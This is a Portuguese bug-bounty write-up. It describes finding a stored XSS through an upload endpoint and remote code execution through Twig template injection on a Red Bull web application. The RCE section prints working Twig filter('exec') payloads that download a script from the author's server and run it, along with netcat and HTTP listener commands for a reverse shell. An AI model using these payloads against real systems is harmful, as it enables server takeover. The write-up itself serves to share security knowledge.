...

STORED XSS E RCE VIA SSTI!!!

Fala, hunters! Tô trazendo mais um write-up sobre dois achados interessantes. Espero que esse conteúdo ajude outros caçadores e que você saia daqui tendo aprendido, ao menos, algo novo!


Bom, eu já tinha encontrado alguns XSS refletidos nessa aplicação, através de fuzzing, utilizando o ffuf — isso, há meses.

Porém, eu me lembrei desse alvo e resolvi testá-lo novamente.

Resumindo: encontrei esse site; vou chamá-lo de:

https://site.redbullmzr.com

Ao acessar o site, temos a seguinte página:

Uma página 404!

Exemplo de imagem

Fui para minha aba de favoritos e cliquei no meu "bookmarklet". É um código JavaScript que vai me mostrar todos os possíveis endpoints dentro do código JavaScript da aplicação web.

Exemplo de imagem

Repare que ele me deu este endpoint:

/mtt/public/acc/teste/s/

Fui para o DevTools e comecei a entender o contexto em que ele era utilizado.


Depois de um tempo procurando, encontrei isso:

/mtt/public/acc/teste/s/

Exemplo de imagem

Ao acessar esse endpoint via browser, temos a seguinte página:

Exemplo de imagem

Quando testei isso, pensei que não seria nada e deixei para lá. Voltei a fazer fuzzing com o ffuf, igual da primeira vez que encontrei esse site, mas, sem sucesso, obtive os mesmos endpoints de antes e nada de novo.

Isso acontece às vezes quando tô caçando: estou olhando algo e, quando estou prestes a desistir daquele alvo, tento dar uma última olhada e encontro algo. Recomendo muito: quando você estiver caçando e quiser desistir, dê uma pausa e depois volte com a cabeça mais limpa, para ver se encontra algo.

Cavando mais fundo, com paciência, encontrei essa função:

Exemplo de imagem

Essa função envia um ou mais arquivos para base/uploadResource e retorna a resposta do servidor.

Fui para o proxy e tentei enviar uma request para:

https://site.redbullmzr.com/base/uploadResource
Exemplo de imagem

Mas não funcionou.

Lembrei do primeiro endpoint que encontramos:

/mtt/public/acc/teste/s/

Exemplo de imagem

E tentei acessar o endpoint da função a partir dele:

https://site.redbullmzr.com//mtt/public/acc/teste/s/base/uploadResource

Enviando uma requisição POST, tivemos uma resposta diferente!

Exemplo de imagem

Dessa vez, o servidor aceitou nossa solicitação e interpretou a request.

A partir daqui percebi que conseguimos enviar arquivos para o servidor tentei envia um arquivo .php, mas não conseguimos acessá-los diretamente. O que acontece é que só podemos visualizar o conteúdo por meio de uma rota que ele nos retorna.

Então pensei: se enviarmos um HTML completo com uma payload de XSS, teremos um **Stored XSS** na aplicação!

Enviei a nova request com todos os campos necessários:


Exemplo de imagem

Note que o endpoint que eles retornaram não foi o arquivo em si, mas sim uma rota que exibe o conteúdo dele.

Como enviamos um HTML completo, o servidor renderizou o conteúdo para a gente!

Se pegarmos o path que ele nos deu e acessarmos via browser:

https://site.redbullmzr.com/mtt/publc/misc/files/resource/202508/dGVzdGUudHh0__68b4924a14938

Temos um Stored XSS!

Exemplo de imagem

Bem interessante esse achado! Reportei e fui dormir.

No outro dia, continuei olhando o alvo, e a próxima vulnerabilidade me surpreendeu ainda mais!

Dormindo...




ACORDEI NO PRÓXIMO DIA!

Vamos lá...

RCE VIA SSTI!!!

Voltei a olhar os JavaScript com paciência e olhei por um bom tempo; não encontrei nada. Pensei: "ok, não tem mais vulnerabilidades aqui".

Mas me lembrei do velho e bom Google Dork.

Pesquisando no Google (ainda no mesmo site):

site:site.redbullmzr.com

Me deparei com isso:

Exemplo de imagem

Ao acessar a URL que encontramos com o dork:


https://site.redbullmzr.com/media/17****/accreditation?lang=de/

Caímos nessa página:

Nela estava falando "infelizmente o portal de inscrição já está fechado".

Exemplo de imagem

Anotei a URL e continuei analisando os JavaScript da aplicação.

Resolvi ir para o DevTools e procurar qualquer coisa relacionada a "accreditation", já que isso estava na URL que encontramos com o Google Dork.

Olhando mais a fundo, encontrei isso:

/accreditation/:evend_id/register
Exemplo de imagem

Se você perceber, temos um possível event_id na URL que encontramos pelo Google Dork.

A URL foi:

url encontrada com o Google Dork::: >> https://site.redbullmzr.com/media/17****/accreditation?lang=de/

E, segundo o código JavaScript, existe outro endpoint que pode ser acessado através desse event_id.

Decidi testar o '17****' como possível event_id.

Ao acessar:

https://site.redbullmzr.com/accreditation/17****/register

Tivemos esta página:

Um formulário com vários campos para preencher.

Exemplo de imagem

Preenchi todos os campos do formulário, coloquei meu e-mail e inseri a payload de SSTI {{7*7}} no campo de nome do usuário.

Enviei e recebi isto por e-mail:

Exemplo de imagem

O resultado retornado foi 49, confirmando que a aplicação estava processando templates do Twig em PHP.

Eu supus que estava usando o Twig pelo processo de recon e pela análise dos JavaScript.



Enviei novamente, desta vez com a payload abaixo:

{{ ['curl http://site/${id} /']|filter('exec') }}

Request enviada!

Exemplo de imagem

Request recebida no meu servidor:

Exemplo de imagem

Então criei um script em Bash para enviar para o servidor vulnerável (no meu servidor):

Exemplo de imagem

Criei o arquivo e subi um servidor Python na porta 80 (no meu servidor):

python3 -m http.server 80

Exemplo de imagem

Voltando ao proxy, enviei a seguinte payload no campo "firstname":

{{ ['curl http://site/xx.sh /']|filter('exec') }}

Exemplo de imagem

Baixando o xxx.sh e dando permissão na máquina vulnerável:

{{ ['curl http://site/xx.sh -o /tmp/xxx.sh /']|filter('exec') }}
{{ ['chmod +x /tmp/xxx.sh /']|filter('exec') }}


Exemplo de imagem

Escutando com o netcat na porta 4445 (no meu servidor):

nc -vnlp 4445

Exemplo de imagem

Executei o xxx.sh e recebi a shell reversa!

{{ ['curl -X POST -d $(bash /tmp/xxx.sh) http://site /']|filter('exec') }}

Exemplo de imagem

Temos acesso completo ao servidor!



Resultados! Os XSS foram em outros sites da Red Bull. Em breve posso trazer algo sobre a técnica que utilizei para encontrá-los!

Exemplo de imagem Exemplo de imagem

Eu estava lendo um artigo qualquer na internet e, nele, o autor falou: "quando você lê um write-up, vê apenas o resumo e parece mais fácil". Imagine que eu tive que começar do zero, sem entender nada dessa aplicação; com o passar do tempo, fui montando as peças e entendendo como aquela aplicação funcionava, mesmo sem ver nada visualmente — as funções ainda existiam nos JavaScript e tudo foi fazendo sentido.

Espero ter ajudado alguém com este write-up. Eu realmente acredito que o conhecimento tem que ser compartilhado, pois também foi através de outras pessoas que obtive grande parte do meu aprendizado! Se você está precisando de inspiração, assista a um vídeo do meu hacker favorito.

DAWGYG

DAWGYG